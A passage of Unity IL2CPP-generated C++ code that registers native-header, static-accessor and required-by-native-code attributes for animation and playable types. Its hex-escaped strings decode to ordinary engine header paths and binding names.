NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x48\x75\x6D\x61\x6E\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E\x2E\x68"), NULL);
}
{
NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9 * tmp = (NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9 *)cache->attributes[2];
NativeTypeAttribute__ctor_m0914A881DE5A0E58B381CDE59CB821D6DBA4B711(tmp, 1LL, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x6E\x6F\x48\x75\x6D\x61\x6E\x42\x6F\x6E\x65"), NULL);
}
}
static void HumanBone_tFEE7CD9B6E62BBB95CC4A6F1AA7FC7A26541D62D_CustomAttributesCacheGenerator_limit(CustomAttributesCache* cache)
{
{
NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 * tmp = (NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7 *)cache->attributes[0];
NativeNameAttribute__ctor_mDF2A6FD7D84F21F69BAA6AEC1586427D12882FFC(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x4C\x69\x6D\x69\x74"), NULL);
}
}
static void Motion_t3EAEF01D52B05F10A21CC9B54A35C8F3F6BA3A67_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x4D\x6F\x74\x69\x6F\x6E\x2E\x68"), NULL);
}
}
static void RuntimeAnimatorController_t6F70D5BE51CCBA99132F444EFFA41439DFE71BAB_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
ExcludeFromObjectFactoryAttribute_t76EEA428CB04C23B2844EB37275816B16C847271 * tmp = (ExcludeFromObjectFactoryAttribute_t76EEA428CB04C23B2844EB37275816B16C847271 *)cache->attributes[0];
ExcludeFromObjectFactoryAttribute__ctor_mAF8163E246AD4F05E98775F7E0904F296770B06C(tmp, NULL);
}
{
UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92 * tmp = (UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92 *)cache->attributes[1];
UsedByNativeCodeAttribute__ctor_mA8236FADF130BCDD86C6017039295F9D521EECB8(tmp, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[2];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x52\x75\x6E\x74\x69\x6D\x65\x41\x6E\x69\x6D\x61\x74\x6F\x72\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72\x2E\x68"), NULL);
}
}
static void NotKeyableAttribute_tE0C94B5FF990C6B4BB118486BCA35CCDA91AA905_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C * tmp = (AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C *)cache->attributes[0];
AttributeUsageAttribute__ctor_m5114E18826A49A025D48DC71904C430BD590656D(tmp, 260LL, NULL);
}
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[1];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
}
static void AnimationClipPlayable_t6386488B0C0300A21A352B4C17B9E6D5D38DF953_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA * tmp = (StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA *)cache->attributes[0];
StaticAccessorAttribute__ctor_m0C3215256AEFAEFDDCBCD2BA9AA579CDBB230706(tmp, il2cpp_codegen_string_new_wrapper("\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x43\x6C\x69\x70\x50\x6C\x61\x79\x61\x62\x6C\x65\x42\x69\x6E\x64\x69\x6E\x67\x73"), 2LL, NULL);
}
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[1];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[2];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x43\x6C\x69\x70\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[3];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x43\x6C\x69\x70\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x68"), NULL);
}
}
static void AnimationHumanStream_t98A25119C1A24795BA152F54CF9F0673EEDF1C3F_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x48\x75\x6D\x61\x6E\x53\x74\x72\x65\x61\x6D\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x48\x75\x6D\x61\x6E\x53\x74\x72\x65\x61\x6D\x2E\x68"), NULL);
}
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[2];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
{
MovedFromAttribute_t7DFA9E51FA9540D9D5EB8D41E363D2BC51F43BC8 * tmp = (MovedFromAttribute_t7DFA9E51FA9540D9D5EB8D41E363D2BC51F43BC8 *)cache->attributes[3];
MovedFromAttribute__ctor_mA4B2632CE3004A3E0EA8E1241736518320806568(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x45\x78\x70\x65\x72\x69\x6D\x65\x6E\x74\x61\x6C\x2E\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x73"), NULL);
}
}
static void AnimationLayerMixerPlayable_tF647DD9BCA6E0F49367A5F13AAE0D5B093A91880_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[0];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
{
StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA * tmp = (StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA *)cache->attributes[1];
StaticAccessorAttribute__ctor_m0C3215256AEFAEFDDCBCD2BA9AA579CDBB230706(tmp, il2cpp_codegen_string_new_wrapper("\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x4C\x61\x79\x65\x72\x4D\x69\x78\x65\x72\x50\x6C\x61\x79\x61\x62\x6C\x65\x42\x69\x6E\x64\x69\x6E\x67\x73"), 2LL, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[2];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x52\x75\x6E\x74\x69\x6D\x65\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x43\x6F\x72\x65\x2F\x48\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[3];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x4C\x61\x79\x65\x72\x4D\x69\x78\x65\x72\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[4];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x4C\x61\x79\x65\x72\x4D\x69\x78\x65\x72\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
}
static void AnimationMixerPlayable_t7C6D407FE0D55712B07081F8114CFA347F124741_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x4D\x69\x78\x65\x72\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x52\x75\x6E\x74\x69\x6D\x65\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x43\x6F\x72\x65\x2F\x48\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[2];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x4D\x69\x78\x65\x72\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
{
StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA * tmp = (StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA *)cache->attributes[3];
StaticAccessorAttribute__ctor_m0C3215256AEFAEFDDCBCD2BA9AA579CDBB230706(tmp, il2cpp_codegen_string_new_wrapper("\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x4D\x69\x78\x65\x72\x50\x6C\x61\x79\x61\x62\x6C\x65\x42\x69\x6E\x64\x69\x6E\x67\x73"), 2LL, NULL);
}
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[4];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
}
static void AnimationMotionXToDeltaPlayable_t6E21B629D4689F5E3CFCFACA0B31411082773076_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA * tmp = (StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA *)cache->attributes[0];
StaticAccessorAttribute__ctor_m0C3215256AEFAEFDDCBCD2BA9AA579CDBB230706(tmp, il2cpp_codegen_string_new_wrapper("\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x4D\x6F\x74\x69\x6F\x6E\x58\x54\x6F\x44\x65\x6C\x74\x61\x50\x6C\x61\x79\x61\x62\x6C\x65\x42\x69\x6E\x64\x69\x6E\x67\x73"), 2LL, NULL);
}
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[1];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[2];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x4D\x6F\x74\x69\x6F\x6E\x58\x54\x6F\x44\x65\x6C\x74\x61\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
}
static void AnimationOffsetPlayable_tBB8333A8E35A23D8FAA2D34E35FF02BD53FF9941_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x4F\x66\x66\x73\x65\x74\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x68"), NULL);
}
{
StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA * tmp = (StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA *)cache->attributes[1];
StaticAccessorAttribute__ctor_m0C3215256AEFAEFDDCBCD2BA9AA579CDBB230706(tmp, il2cpp_codegen_string_new_wrapper("\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x4F\x66\x66\x73\x65\x74\x50\x6C\x61\x79\x61\x62\x6C\x65\x42\x69\x6E\x64\x69\x6E\x67\x73"), 2LL, NULL);
}
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[2];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[3];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x52\x75\x6E\x74\x69\x6D\x65\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x43\x6F\x72\x65\x2F\x48\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[4];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x4F\x66\x66\x73\x65\x74\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
}
static void AnimationPlayableOutput_t14570F3E63619E52ABB0B0306D4F4AAA6225DE17_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x41\x6E\x69\x6D\x61\x74\x6F\x72\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x50\x6C\x61\x79\x61\x62\x6C\x65\x4F\x75\x74\x70\x75\x74\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
{
StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA * tmp = (StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA *)cache->attributes[2];
StaticAccessorAttribute__ctor_m0C3215256AEFAEFDDCBCD2BA9AA579CDBB230706(tmp, il2cpp_codegen_string_new_wrapper("\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x50\x6C\x61\x79\x61\x62\x6C\x65\x4F\x75\x74\x70\x75\x74\x42\x69\x6E\x64\x69\x6E\x67\x73"), 2LL, NULL);
}
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[3];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[4];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x50\x6C\x61\x79\x61\x62\x6C\x65\x4F\x75\x74\x70\x75\x74\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[5];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x52\x75\x6E\x74\x69\x6D\x65\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x43\x6F\x72\x65\x2F\x48\x50\x6C\x61\x79\x61\x62\x6C\x65\x4F\x75\x74\x70\x75\x74\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[6];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x52\x75\x6E\x74\x69\x6D\x65\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x43\x6F\x72\x65\x2F\x48\x50\x6C\x61\x79\x61\x62\x6C\x65\x47\x72\x61\x70\x68\x2E\x68"), NULL);
}
}
static void AnimationPosePlayable_t455DFF8AB153FC8930BD1B79342EC791033662B9_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x52\x75\x6E\x74\x69\x6D\x65\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x43\x6F\x72\x65\x2F\x48\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x68"), NULL);
}
{
StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA * tmp = (StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA *)cache->attributes[1];
StaticAccessorAttribute__ctor_m0C3215256AEFAEFDDCBCD2BA9AA579CDBB230706(tmp, il2cpp_codegen_string_new_wrapper("\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x50\x6F\x73\x65\x50\x6C\x61\x79\x61\x62\x6C\x65\x42\x69\x6E\x64\x69\x6E\x67\x73"), 2LL, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[2];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x50\x6F\x73\x65\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[3];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x44\x69\x72\x65\x63\x74\x6F\x72\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x50\x6F\x73\x65\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x68"), NULL);
}
{
RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 * tmp = (RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20 *)cache->attributes[4];
RequiredByNativeCodeAttribute__ctor_m97C095D1EE6AAB2894AE7E8B2F07D9B47CB8F8B5(tmp, NULL);
}
}
static void AnimationRemoveScalePlayable_t774D428669D5CF715E9A7E80E52A619AECC80429_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x2F\x53\x63\x72\x69\x70\x74\x42\x69\x6E\x64\x69\x6E\x67\x73\x2F\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x52\x65\x6D\x6F\x76\x65\x53\x63\x61\x6C\x65\x50\x6C\x61\x79\x61\x62\x6C\x65\x2E\x62\x69\x6E\x64\x69\x6E\x67\x73\x2E\x68"), NULL);
}
{
